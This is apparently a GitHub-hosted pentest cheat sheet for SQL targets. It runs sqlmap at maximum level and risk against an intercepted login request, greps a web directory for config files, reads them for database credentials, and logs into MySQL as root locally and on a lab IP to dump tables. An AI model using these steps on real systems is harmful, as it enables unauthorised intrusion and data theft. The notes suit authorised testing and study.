You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
# Intercept a login with burpsuite
# Copy the intercept and save to a file login.req
sqlmap -r login.req --level 5 --risk 3
Locate the localhost file making connection to the SQL
# Grep for localhost from within /www/ dir
grep "localhost" ./ -R
# If presented with config.php or similar. Check for login details
cat ./path/to/config.php
Generic SQL commands
# Login to mysql on current system
mysql -u root -p
# Login to mysql on external server
mysql -u root -h 10.11.1.208 -p
show databases;
use db_name;
show tables;
select * from table_name;